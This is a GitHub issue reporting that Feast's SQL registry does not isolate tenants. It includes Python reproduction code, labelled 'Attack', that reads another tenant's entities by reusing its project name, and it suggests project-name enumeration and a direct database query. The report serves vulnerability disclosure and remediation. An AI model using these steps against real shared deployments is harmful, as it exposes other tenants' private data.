-
Notifications
You must be signed in to change notification settings - Fork 1.2k
Open
Labels
Description
Summary
Multi-Tenancy Data Isolation Vulnerability - Users can access other tenants' data by knowing project name
Expected Behavior
In a multi-tenant Feast deployment:
- Tenant A users should ONLY be able to access Tenant A's data
- Tenant B users should ONLY be able to access Tenant B's data
- Access should be enforced through authentication and authorization
- Database credentials should not be sufficient to access another tenant's data
Current Behavior
Any user with database credentials can access ANY tenant's data by simply creating a FeatureStore instance with another tenant's project name. No authentication or authorization check is performed.
Example:
# User of Tenant A can access Tenant B's data
config_attack = RepoConfig(
project="company_b", # Victim's project name
registry=SqlRegistryConfig(
path="postgresql://feast:password@db:5432/feast_registry"
)
)
store = FeatureStore(config=config_attack)
entities = store.list_entities() # Returns Tenant B's entities ❌Result: Complete data exposure across tenants.
Steps to Reproduce
Setup
- Deploy Feast with SQL Registry (PostgreSQL)
- Create two tenants with separate projects:
# Tenant A setup
store_a = FeatureStore(config=RepoConfig(
project="company_a",
registry=SqlRegistryConfig(
path="postgresql://feast:password@localhost:5432/feast_registry"
)
))
driver_entity_a = Entity(name="driver", join_keys=["driver_id"])
store_a.apply([driver_entity_a])# Tenant B setup
store_b = FeatureStore(config=RepoConfig(
project="company_b",
registry=SqlRegistryConfig(
path="postgresql://feast:password@localhost:5432/feast_registry"
)
))
customer_entity_b = Entity(name="customer", join_keys=["customer_id"])
store_b.apply([customer_entity_b])Attack
- User from Tenant A creates store with Tenant B's project name:
# Attacker (Tenant A user) steals Tenant B's project name
store_attack = FeatureStore(config=RepoConfig(
project="company_b", # Using victim's project!
registry=SqlRegistryConfig(
path="postgresql://feast:password@localhost:5432/feast_registry"
)
))
# Verify breach
entities = store_attack.list_entities()
print(f"Stolen entities: {[e.name for e in entities]}")
# Output: ['customer'] ← Tenant B's private entity exposed!- Additional attacks possible:
- List all feature views:
store_attack.list_feature_views() - Retrieve features:
store_attack.get_online_features(...) - Enumerate projects: Try common names like "prod", "default", "company_a", etc.
- Direct database access:
psql -c "SELECT * FROM projects;"
- List all feature views:
Specifications
- Feast Version: 0.59.0 (likely affects all versions)
- Platform: Kubernetes (kind v1.33.0), macOS, Linux
- Subsystem: SQL Registry (
feast.infra.registry.sql) - Deployment:
- Feast Operator with shared PostgreSQL database
- Direct Feast SDK usage with shared database
- Database: PostgreSQL 16, SQLite (also affected)
Configuration
# Vulnerable configuration
registry:
registry_type: sql
path: postgresql://feast:password@shared-db:5432/feast_registry
# ❌ No authentication
# ❌ Same credentials for all tenants
# ❌ Only project_id for isolationWorkaround
Until fixed, DO NOT use shared database for untrusted tenants.
Safe configurations:
- ✅ Separate databases per tenant
- ✅ Feature Server with authentication (users never access DB directly)
- ✅ Single-tenant deployments
Unsafe configurations:
- ❌ Shared database with direct SDK access
- ❌ Database credentials accessible to end users
- ❌ No authentication layer
Reactions are currently unavailable